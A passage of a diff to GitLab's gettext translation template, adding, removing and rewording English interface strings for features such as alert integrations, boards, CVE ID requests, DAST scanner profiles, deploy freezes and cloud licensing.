+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
